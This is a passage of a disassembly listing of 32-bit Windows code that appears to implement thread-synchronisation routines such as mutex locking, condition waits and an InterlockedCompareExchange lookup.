; CODE XREF: sub_4319F0+6Ej push 0 lea eax, [esi+10h] push 0 push eax mov [esi+8], edi mov dword ptr [esi+0Ch], 0 call sub_401C8A add esp, 0Ch test eax, eax jz short loc_431A9D push esi mov ebp, 0Bh nop call near ptr 77C2C21Bh mov edx, [esp+10h+arg_0] add esp, 4 xor esi, esi mov eax, ebp mov [edx], esi pop esi pop edi pop ebp retn ; --------------------------------------------------------------------------- loc_431A9D: ; CODE XREF: sub_4319F0+8Ej lea ecx, [esi+14h] push ecx nop call near ptr 2790000h mov edx, [esp+0Ch+arg_0] mov eax, ebp mov [edx], esi pop esi pop edi pop ebp retn sub_4319F0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431B00 proc near ; CODE XREF: sub_402252j arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] xor esi, esi test edi, edi jz loc_431BE0 mov eax, [edi] test eax, eax jz loc_431BE0 cmp eax, 0FFFFFFFFh jz loc_431BA5 mov [esp+8+arg_0], eax lea eax, [esp+8+arg_0] push eax call sub_401785 mov esi, eax add esp, 4 test esi, esi jnz loc_431BDB mov ecx, [esp+8+arg_0] mov eax, [ecx+4] cmp eax, 1 jnz short loc_431B97 lea ecx, [esp+8+arg_0] mov [edi], esi push ecx call sub_4010C3 mov edx, [esp+0Ch+arg_0] mov esi, eax add esp, 4 test esi, esi jnz short loc_431B90 add edx, 10h push edx call sub_401690 mov eax, [esp+0Ch+arg_0] add esp, 4 add eax, 14h push eax nop call near ptr 2780801h mov ecx, [esp+8+arg_0] push ecx call near ptr 77C2C21Bh nop add esp, 4 mov eax, esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_431B90: ; CODE XREF: sub_431B00+61j mov [edi], edx mov eax, esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_431B97: ; CODE XREF: sub_431B00+48j dec eax mov esi, 10h mov [ecx+4], eax mov eax, esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_431BA5: ; CODE XREF: sub_431B00+1Dj push offset dword_510940 call near ptr 7C901005h nop cmp dword ptr [edi], 0FFFFFFFFh jnz short loc_431BCB push offset dword_510940 mov dword ptr [edi], 0 call near ptr 7C9010EDh nop mov eax, esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_431BCB: ; CODE XREF: sub_431B00+B3j push offset dword_510940 mov esi, 10h nop call near ptr 7C9010EDh loc_431BDB: ; CODE XREF: sub_431B00+38j mov eax, esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_431BE0: ; CODE XREF: sub_431B00+Aj ; sub_431B00+14j pop edi mov eax, 16h pop esi retn sub_431B00 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431C30 proc near ; CODE XREF: sub_401A1Ej arg_0 = dword ptr 4 push esi push 8 push 1 xor esi, esi call near ptr 77C2C0C3h nop add esp, 8 cmp eax, esi jnz short loc_431C53 mov edx, [esp+4+arg_0] mov ecx, 0Ch pop esi mov [edx], eax mov eax, ecx retn ; --------------------------------------------------------------------------- loc_431C53: ; CODE XREF: sub_431C30+12j mov ecx, [esp+4+arg_0] mov [eax], esi mov [eax+4], esi mov [ecx], eax mov eax, esi pop esi retn sub_431C30 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431C80 proc near ; CODE XREF: sub_4010AAj arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push esi xor esi, esi test ecx, ecx jz short loc_431CA1 mov eax, [ecx] test eax, eax jz short loc_431CA1 push eax mov [ecx], esi call near ptr 77C2C21Bh nop add esp, 4 mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_431CA1: ; CODE XREF: sub_431C80+9j ; sub_431C80+Fj mov eax, 16h pop esi retn sub_431C80 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_431CC0: ; CODE XREF: ___:00401BBDj mov eax, [esp+4] test eax, eax jz short loc_431CDD mov eax, [eax] test eax, eax jz short loc_431CDD mov ecx, [esp+8] test ecx, ecx jz short loc_431CDD mov eax, [eax] mov [ecx], eax xor eax, eax retn ; --------------------------------------------------------------------------- loc_431CDD: ; CODE XREF: ___:00431CC6j ; ___:00431CCCj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_431D00: ; CODE XREF: ___:00401906j mov eax, [esp+4] test eax, eax jz short loc_431D2A mov ecx, [eax] test ecx, ecx jz short loc_431D2A mov eax, [esp+8] cmp eax, 1 jz short loc_431D1E test eax, eax jnz short loc_431D2A mov [ecx], eax retn ; --------------------------------------------------------------------------- loc_431D1E: ; CODE XREF: ___:00431D15j mov eax, 28h mov dword ptr [ecx], 0 retn ; --------------------------------------------------------------------------- loc_431D2A: ; CODE XREF: ___:00431D06j ; ___:00431D0Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431D40 proc near ; CODE XREF: sub_40119Aj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] xor eax, eax test ecx, ecx jz short loc_431D61 mov ecx, [ecx] test ecx, ecx jz short loc_431D61 mov edx, [esp+arg_4] test edx, edx jl short loc_431D61 cmp edx, 2 jg short loc_431D61 mov [ecx+4], edx retn ; --------------------------------------------------------------------------- loc_431D61: ; CODE XREF: sub_431D40+8j ; sub_431D40+Ej ... mov eax, 16h retn sub_431D40 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431D80 proc near ; CODE XREF: sub_4018CFj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] xor eax, eax test ecx, ecx jz short loc_431D9E mov ecx, [ecx] test ecx, ecx jz short loc_431D9E mov edx, [esp+arg_4] test edx, edx jz short loc_431D9E mov ecx, [ecx+4] mov [edx], ecx retn ; --------------------------------------------------------------------------- loc_431D9E: ; CODE XREF: sub_431D80+8j ; sub_431D80+Ej ... mov eax, 16h retn sub_431D80 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431DC0 proc near ; CODE XREF: sub_402248j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi xor edi, edi test esi, esi jz loc_431E77 mov eax, [esi] test eax, eax jz loc_431E77 cmp eax, 0FFFFFFFFh jnz short loc_431DF1 push esi call sub_401C17 mov edi, eax add esp, 4 test edi, edi jz short loc_431DF1 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_431DF1: ; CODE XREF: sub_431DC0+1Dj ; sub_431DC0+2Cj mov esi, [esi] push esi nop call near ptr 27606A3h test eax, eax jnz short loc_431E1A loc_431DFE: ; CODE XREF: sub_431DC0+A8j mov ecx, [esi+8] mov eax, 1 test ecx, ecx mov [esi+4], eax jz short loc_431E12 call sub_4012E4 ; --------------------------------------------------------------------------- loc_431E12: ; CODE XREF: sub_431DC0+4Bj mov [esi+0Ch], eax mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_431E1A: ; CODE XREF: sub_431DC0+3Cj mov eax, [esi+8] test eax, eax jz short loc_431E5A call sub_4012E4 ; --------------------------------------------------------------------------- dw 8B50h dd 0E8500C46h, 0FFFCFC34h, 8508C483h, 562374C0h, 33E82BE8h dd 7E839002h, 0C750108h, 4004468Bh, 8B044689h, 0C35E5FC7h dd 24BFh, 5FC78B00h ; --------------------------------------------------------------------------- pop esi retn ; --------------------------------------------------------------------------- loc_431E5A: ; CODE XREF: sub_431DC0+5Fj lea ecx, [esi+10h] push ecx call sub_431EB0 add esp, 4 test eax, eax jz short loc_431DFE call near ptr 77C1F2BCh nop mov edi, [eax] mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_431E77: ; CODE XREF: sub_431DC0+Aj ; sub_431DC0+14j pop edi mov eax, 16h pop esi retn sub_431DC0 endp ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431EB0 proc near ; CODE XREF: sub_431DC0+9Ep arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jz short loc_431ECA mov eax, [eax] push 0FFFFFFFFh mov ecx, [eax] push ecx nop call near ptr 2770366h test eax, eax jnz short loc_431ECA retn ; --------------------------------------------------------------------------- loc_431ECA: ; CODE XREF: sub_431EB0+6j ; sub_431EB0+17j nop call near ptr 77C1F2BCh mov dword ptr [eax], 16h or eax, 0FFFFFFFFh retn sub_431EB0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431EF0 proc near ; CODE XREF: sub_401BD6j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebp push esi mov esi, [esp+8+arg_0] xor ebp, ebp test esi, esi jz loc_432088 mov eax, [esi] test eax, eax jz loc_432088 cmp eax, 0FFFFFFFFh jnz short loc_431F21 push esi call sub_401C17 mov ebp, eax add esp, 4 test ebp, ebp jz short loc_431F21 pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_431F21: ; CODE XREF: sub_431EF0+1Dj ; sub_431EF0+2Cj mov esi, [esi] push ebx push edi push esi nop call near ptr 27606A3h test eax, eax jnz short loc_431F52 loc_431F30: ; CODE XREF: sub_431EF0+175j mov ecx, [esi+8] mov eax, 1 test ecx, ecx mov [esi+4], eax jz loc_43207E call sub_4012E4 ; --------------------------------------------------------------------------- pop edi mov [esi+0Ch], eax pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_431F52: ; CODE XREF: sub_431EF0+3Ej mov eax, [esi+8] test eax, eax jz short loc_431F96 call sub_4012E4 ; --------------------------------------------------------------------------- dw 8B50h dd 0E8500C46h, 0FFFCFAFCh, 8508C483h, 562774C0h, 0E6F2E890h dd 7E830233h, 0E750108h, 5F04468Bh, 46895B40h, 5EC58B04h dd 24BDC35Dh, 5F000000h, 5EC58B5Bh ; --------------------------------------------------------------------------- pop ebp retn ; --------------------------------------------------------------------------- loc_431F96: ; CODE XREF: sub_431EF0+67j mov eax, [esp+10h+arg_4] test eax, eax jnz short loc_431FAA mov ebp, 16h pop edi pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_431FAA: ; CODE XREF: sub_431EF0+ACj lea edi, [esi+10h] push eax push edi call sub_432100 add esp, 8 sub eax, 0 jz loc_43206A dec eax jz short loc_432034 dec eax jz short loc_431FD5 call near ptr 77C1F2BCh nop mov ebp, [eax] pop edi pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_431FD5: ; CODE XREF: sub_431EF0+D4j lea ebx, [esi+14h] push ebx nop call near ptr 7C901005h push edi mov ebp, 274Ch call sub_4010A5 add esp, 4 cmp eax, 0FFFFFFFFh push esi jnz short loc_432007 call near ptr 2770668h nop push ebx call near ptr 7C9010EDh nop pop edi pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_432007: ; CODE XREF: sub_431EF0+101j nop call near ptr 2770668h test eax, eax jl short loc_432026 push edi call sub_40103C add esp, 4 test eax, eax jz short loc_432026 nop call near ptr 77C1F2BCh mov ebp, [eax] loc_432026: ; CODE XREF: sub_431EF0+11Fj ; sub_431EF0+12Cj push ebx nop call near ptr 7C9010EDh pop edi pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_432034: ; CODE XREF: sub_431EF0+D1j lea ebx, [esi+14h] push ebx nop call near ptr 7C901005h push edi call sub_4010A5 mov edi, eax add esp, 4 cmp edi, 0FFFFFFFFh jnz short loc_43205A push esi nop call near ptr 2770668h mov ebp, 274Ch loc_43205A: ; CODE XREF: sub_431EF0+15Cj push ebx nop call near ptr 7C9010EDh test edi, edi jnz short loc_432081 jmp loc_431F30 ; --------------------------------------------------------------------------- loc_43206A: ; CODE XREF: sub_431EF0+CAj mov ecx, [esi+8] mov eax, 1 test ecx, ecx mov [esi+4], eax jz short loc_43207E call sub_4012E4 ; --------------------------------------------------------------------------- loc_43207E: ; CODE XREF: sub_431EF0+4Dj ; sub_431EF0+187j mov [esi+0Ch], eax loc_432081: ; CODE XREF: sub_431EF0+173j pop edi pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_432088: ; CODE XREF: sub_431EF0+Aj ; sub_431EF0+14j pop esi mov eax, 16h pop ebp retn sub_431EF0 endp ; --------------------------------------------------------------------------- db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432100 proc near ; CODE XREF: sub_431EF0+BFp var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 0Ch push esi push edi mov edi, [esp+14h+arg_0] test edi, edi jz loc_43219E mov esi, [esp+14h+arg_4] test esi, esi jnz short loc_432132 or eax, 0FFFFFFFFh loc_43211C: ; CODE XREF: sub_432100+7Fj push eax mov eax, [edi] mov ecx, [eax] push ecx nop call near ptr 2770366h test eax, eax jnz short loc_43218C pop edi pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_432132: ; CODE XREF: sub_432100+17j lea eax, [esp+14h+var_C] push eax call near ptr 77C49113h nop mov ecx, [esi+4] mov eax, 431BDE83h add ecx, 7A120h add esp, 4 mul ecx mov eax, [esi] mov ecx, [esp+14h+var_C] shr edx, 12h lea eax, [eax+eax*4] lea ecx, [ecx+ecx*4] lea eax, [eax+eax*4] lea ecx, [ecx+ecx*4] lea eax, [eax+eax*4] lea ecx, [ecx+ecx*4] shl ecx, 3 lea eax, [edx+eax*8] mov edx, [esp+14h+var_8] sub eax, ecx and edx, 0FFFFh sub eax, edx jns short loc_43211C pop edi mov eax, 2 pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_43218C: ; CODE XREF: sub_432100+2Aj cmp eax, 102h jnz short loc_43219E pop edi mov eax, 1 pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_43219E: ; CODE XREF: sub_432100+Bj ; sub_432100+91j nop call near ptr 77C1F2BCh mov dword ptr [eax], 16h pop edi or eax, 0FFFFFFFFh pop esi add esp, 0Ch retn sub_432100 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4321F0 proc near ; CODE XREF: sub_4010C3j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push ebx xor ebx, ebx push esi cmp eax, ebx jz loc_432290 mov esi, [eax] cmp esi, ebx jz loc_432290 cmp esi, 0FFFFFFFFh push edi jz short loc_432285 mov eax, [esi+0Ch] mov edi, 1 cmp eax, edi jz short loc_43223A call sub_4012E4 ; --------------------------------------------------------------------------- push eax mov eax, [esi+0Ch] push eax call sub_401A64 add esp, 8 test eax, eax jnz short loc_43223A mov ebx, edi pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43223A: ; CODE XREF: sub_4321F0+2Aj ; sub_4321F0+40j cmp [esi+8], edi jnz short loc_432248 mov eax, [esi+4] dec eax mov [esi+4], eax jnz short loc_43228A loc_432248: ; CODE XREF: sub_4321F0+4Dj lea edi, [esi+14h] mov [esi+0Ch], ebx push edi nop call near ptr 7C901005h push esi nop call near ptr 2770668h test eax, eax jl short loc_432278 add esi, 10h push esi call sub_40103C add esp, 4 test eax, eax jz short loc_432278 nop call near ptr 77C1F2BCh mov ebx, [eax] loc_432278: ; CODE XREF: sub_4321F0+6Ej ; sub_4321F0+7Ej push edi nop call near ptr 7C9010EDh pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_432285: ; CODE XREF: sub_4321F0+1Ej mov ebx, 16h loc_43228A: ; CODE XREF: sub_4321F0+56j pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_432290: ; CODE XREF: sub_4321F0+Aj ; sub_4321F0+14j pop esi mov eax, 16h pop ebx retn sub_4321F0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4322D0 proc near ; CODE XREF: sub_401785j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi xor edi, edi test esi, esi jz short loc_432355 mov eax, [esi] test eax, eax jz short loc_432355 cmp eax, 0FFFFFFFFh jnz short loc_4322F2 push esi call sub_401C17 add esp, 4 mov edi, eax loc_4322F2: ; CODE XREF: sub_4322D0+15j mov esi, [esi] test edi, edi jnz short loc_432350 push 0FFFFFFFFh push edi push esi call dword_5103D8 ; InterlockedCompareExchange cmp eax, 0FFFFFFFFh jnz short loc_432323 mov ecx, [esi+8] mov eax, 1 test ecx, ecx mov [esi+4], eax jz short loc_43231B call sub_4012E4 ; --------------------------------------------------------------------------- loc_43231B: ; CODE XREF: sub_4322D0+44j mov [esi+0Ch], eax mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_432323: ; CODE XREF: sub_4322D0+35j cmp dword ptr [esi+8], 1 jnz short loc_43234B call sub_4012E4 ; --------------------------------------------------------------------------- push eax mov eax, [esi+0Ch] push eax call sub_401A64 add esp, 8 test eax, eax jz short loc_43234B mov eax, [esi+4] inc eax mov [esi+4], eax mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_43234B: ; CODE XREF: sub_4322D0+57j ; sub_4322D0+6Dj mov edi, 10h loc_432350: ; CODE XREF: sub_4322D0+26j mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_432355: ; CODE XREF: sub_4322D0+Aj ; sub_4322D0+10j pop edi mov eax, 16h pop esi retn sub_4322D0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_432390: ; CODE XREF: ___:0040193Dj mov eax, [esp+8] mov ecx, [esp+4] push eax push ecx call sub_40119A add esp, 8 retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_4323C0: ; CODE XREF: ___:00401591j mov eax, [esp+8] mov ecx, [esp+4] push eax push ecx call sub_4018CF add esp, 8 retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_4323F0: ; CODE XREF: ___:00401497j mov eax, [esp+4] test eax, eax jz short loc_4323FC mov eax, [eax+4] retn ; --------------------------------------------------------------------------- loc_4323FC: ; CODE XREF: ___:004323F6j xor eax, eax retn ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_432410: ; CODE XREF: ___:00401C12j mov eax, [esp+4] push esi test eax, eax push edi jnz short loc_432422 pop edi mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_432422: ; CODE XREF: ___:00432418j mov esi, [eax] test esi, esi jnz short loc_432445 mov ecx, [eax+4] test ecx, ecx jnz short loc_432445 call sub_401D02 ; --------------------------------------------------------------------------- dd 0CFE89056h, 0E8023FDEh, 0FFFCF8C2h, 5EC0335Fh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_432445: ; CODE XREF: ___:00432426j ; ___:0043242Dj mov ecx, [eax+4] mov eax, 431BDE83h add ecx, 0F423Fh imul ecx sar edx, 12h mov eax, edx shr eax, 1Fh add edx, eax lea eax, [esi+esi*4] lea eax, [eax+eax*4] lea ecx, [eax+eax*4] lea edi, [edx+ecx*8] call sub_4012E4 ; --------------------------------------------------------------------------- mov esi, eax test esi, esi jnz short loc_43247E pop edi mov eax, 0Ch pop esi retn ; --------------------------------------------------------------------------- loc_43247E: ; CODE XREF: ___:00432474j mov eax, [esi+30h] push edi test eax, eax jnz short loc_4324E6 mov edx, [esi+38h] push edx nop call near ptr 2770366h test eax, eax jnz short loc_4324D7 lea edi, [esi+2Ch] push edi call sub_402248 mov eax, [esi+0Ch] add esp, 4 cmp eax, 3 jge short loc_4324C6 push edi mov dword ptr [esi+0Ch], 3 mov dword ptr [esi+30h], 1 call sub_4010C3 push 2 call sub_401DED ; --------------------------------------------------------------------------- add esp, 8 loc_4324C6: ; CODE XREF: ___:004324A6j push edi call sub_4010C3 add esp, 4 mov eax, 3 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4324D7: ; CODE XREF: ___:00432492j cmp eax, 102h jz short loc_4324EC pop edi mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_4324E6: ; CODE XREF: ___:00432484j nop call near ptr 283030Ah loc_4324EC: ; CODE XREF: ___:004324DCj pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_432540: ; CODE XREF: ___:00401014j push ecx lea eax, [esp+0] push eax call sub_401C3A add esp, 4 test eax, eax mov eax, 1 jnz short loc_43255B mov eax, [esp+0] loc_43255B: ; CODE XREF: ___:00432555j pop ecx retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432570 proc near ; CODE XREF: sub_401712j push esi call sub_401320 push offset aKernel32_dll ; "KERNEL32.DLL" mov esi, eax nop call near ptr 27E0830h push offset aInterlockedcom ; "InterlockedCompareExchange" push eax mov dword_5103BC, eax nop call near ptr 2890000h test eax, eax mov dword_5103D8, eax jnz short loc_4325BD mov eax, dword_5103BC mov dword_5103D8, offset sub_4012D0 push eax nop call near ptr 275032Eh mov dword_5103BC, 0 loc_4325BD: ; CODE XREF: sub_432570+2Bj mov eax, esi pop esi retn sub_432570 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4325F0 proc near ; CODE XREF: sub_401627j mov eax, dword_5103C0 test eax, eax jz short loc_432640 mov eax, dword_5103C4 push eax call sub_401190 ; --------------------------------------------------------------------------- dd 8504C483h, 832074C0h, 75012078h, 0A0E8501Ah, 8BFFFCF1h dd 5103C40Dh, 4C48300h, 6A118Bh, 0D5E89052h, 0E80231D9h dd 0FFFCF015h, 5103BCA1h, 74C08500h, 0E8905007h, 231DCEEh ; --------------------------------------------------------------------------- loc_432640: ; CODE XREF: sub_4325F0+7j mov eax, 1 retn sub_4325F0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432670 proc near ; CODE XREF: sub_4017BCj mov eax, 1 retn sub_432670 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432690 proc near ; CODE XREF: sub_4017CBj mov eax, dword_5103C0 test eax, eax jz short loc_4326CB mov eax, dword_5103C4 push eax call sub_401190 ; --------------------------------------------------------------------------- dd 8504C483h, 832074C0h, 75012078h, 0E8501Ah, 8BFFFCF1h dd 5103C40Dh, 4C48300h, 6A118Bh, 35E89052h db 0D9h, 31h, 2 ; --------------------------------------------------------------------------- loc_4326CB: ; CODE XREF: sub_432690+7j mov eax, 1 retn sub_432690 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_432700: ; CODE XREF: ___:0040225Cj push ecx push esi push offset dword_5109A0 xor esi, esi call near ptr 7C901005h nop mov eax, dword_5103CC test eax, eax mov [esp+4], eax jz short loc_43273E loc_43271C: ; CODE XREF: ___:0043273Cj test esi, esi jnz short loc_43273E lea eax, [esp+4] push eax call sub_40160E mov ecx, [esp+8] mov esi, eax add esp, 4 mov eax, [ecx+18h] test eax, eax mov [esp+4], eax jnz short loc_43271C loc_43273E: ; CODE XREF: ___:0043271Aj ; ___:0043271Ej push offset dword_5109A0 call near ptr 7C9010EDh nop mov eax, esi pop esi neg eax sbb eax, eax and eax, 0Bh pop ecx retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432780 proc near ; CODE XREF: sub_4012B7j arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jz short loc_432799 mov eax, [eax] test eax, eax jz short loc_432799 cmp dword ptr [eax], 0C4C0FFEEh jnz short loc_432799 xor eax, eax retn ; --------------------------------------------------------------------------- loc_432799: ; CODE XREF: sub_432780+6j ; sub_432780+Cj ... mov eax, 1 retn sub_432780 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4327B0 proc near ; CODE XREF: sub_401320j mov eax, dword_5103C0 test eax, eax jz short loc_4327BF mov eax, 1 retn ; --------------------------------------------------------------------------- loc_4327BF: ; CODE XREF: sub_4327B0+7j push 0 push offset dword_5103C4 mov dword_5103C0, 1 call sub_401609 add esp, 8 test eax, eax jnz short loc_4327EE push eax push offset dword_5103C8 call sub_401609 add esp, 8 test eax, eax jz short loc_4327F3 loc_4327EE: ; CODE XREF: sub_4327B0+2Aj call sub_401645 loc_4327F3: ; CODE XREF: sub_4327B0+3Cj push esi mov esi, dword_511868 push offset dword_5108E0 call esi push offset dword_510940 call esi push offset dword_5109A0 call esi push offset dword_510920 call esi push offset dword_510980 call esi push offset dword_510960 call esi mov eax, dword_5103C0 pop esi retn sub_4327B0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432850 proc near ; CODE XREF: sub_401645j mov eax, dword_5103C0 test eax, eax jz locret_432909 mov eax, dword_5103C4 test eax, eax jz short loc_432879 push eax call sub_401AB4 add esp, 4 mov dword_5103C4, 0 loc_432879: ; CODE XREF: sub_432850+14j mov eax, dword_5103C8 test eax, eax jz short loc_432895 push eax call sub_401AB4 add esp, 4 mov dword_5103C8, 0 loc_432895: ; CODE XREF: sub_432850+30j push esi push offset dword_5108E0 call near ptr 7C901005h nop mov eax, dword_447710 cmp eax, 1 jz short loc_4328C3 push edi mov edi, dword_511AD0 loc_4328B2: ; CODE XREF: sub_432850+70j mov esi, [eax+8] push eax call edi ; free add esp, 4 cmp esi, 1 mov eax, esi jnz short loc_4328B2 pop edi loc_4328C3: ; CODE XREF: sub_432850+59j push offset dword_5108E0 nop call near ptr 7C9010EDh mov esi, dword_511864 push offset dword_510960 call esi push offset dword_510980 call esi push offset dword_510920 call esi push offset dword_5109A0 call esi push offset dword_510940 call esi push offset dword_5108E0 call esi mov dword_5103C0, 0 pop esi locret_432909: ; CODE XREF: sub_432850+7j retn sub_432850 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_432940: ; CODE XREF: ___:loc_401BA9j push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+8] push esi push edi push eax mov esi, [eax] mov ecx, [eax+4] mov edx, [eax+8] mov [ebp-4], esi mov [ebp-0Ch], ecx mov [ebp-8], edx nop call near ptr 77C2C21Bh mov eax, dword_5103C4 push esi push eax call sub_4020F9 ; --------------------------------------------------------------------------- mov dword ptr [esi+0Ch], 1 add esi, 3Ch push 0 push esi call sub_437D4C ; --------------------------------------------------------------------------- mov edi, [ebp-4] add esp, 14h test eax, eax jnz short loc_43299C mov ecx, [ebp-8] push ecx call dword ptr [ebp-0Ch] add esp, 4 mov [edi+14h], eax mov esi, eax jmp short loc_4329A8 ; --------------------------------------------------------------------------- loc_43299C: ; CODE XREF: ___:00432989j dec eax jz short loc_4329A5 dec eax or esi, 0FFFFFFFFh jmp short loc_4329A8 ; --------------------------------------------------------------------------- loc_4329A5: ; CODE XREF: ___:0043299Dj mov esi, [edi+14h] loc_4329A8: ; CODE XREF: ___:0043299Aj ; ___:004329A3j cmp dword ptr [edi+20h], 1 jnz short loc_4329C7 call sub_4017CB push esi nop call near ptr 77C3A307h add esp, 4 mov eax, esi pop edi pop esi mov esp, ebp pop ebp retn 4 ; --------------------------------------------------------------------------- loc_4329C7: ; CODE XREF: ___:004329ACj push edi call sub_40131B add esp, 4 push esi nop call near ptr 77C3A307h add esp, 4 mov eax, esi pop edi pop esi mov esp, ebp pop ebp retn 4 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432A20 proc near ; CODE XREF: sub_4017B7j var_84 = byte ptr -84h var_80 = dword ptr -80h var_58 = byte ptr -58h var_4C = dword ptr -4Ch var_8 = byte ptr -8 arg_0 = dword ptr 4 sub esp, 84h push ebx mov ebx, [esp+88h+arg_0] test ebx, ebx push esi jz short loc_432A9A lea esi, [ebx+2Ch] push edi push esi call sub_402248 push esi mov dword ptr [ebx+0Ch], 5 call sub_4010C3 push ebx call sub_40131B mov ecx, 21h mov esi, ebx lea edi, [esp+9Ch+var_84] push ebx rep movsd call sub_401BD1 mov eax, [esp+0A0h+var_4C] mov esi, dword_5118E0 add esp, 10h test eax, eax pop edi jz short loc_432A78 push eax call esi loc_432A78: ; CODE XREF: sub_432A20+53j lea eax, [esp+8Ch+var_58] push eax call sub_402252 mov eax, [esp+90h+var_80] add esp, 4 test eax, eax jz short loc_432A9A test [esp+8Ch+var_8], 1 jnz short loc_432A9A push eax call esi loc_432A9A: ; CODE XREF: sub_432A20+11j ; sub_432A20+6Bj ... pop esi pop ebx add esp, 84h retn sub_432A20 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432AE0 proc near ; CODE XREF: sub_401DDEj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp push esi 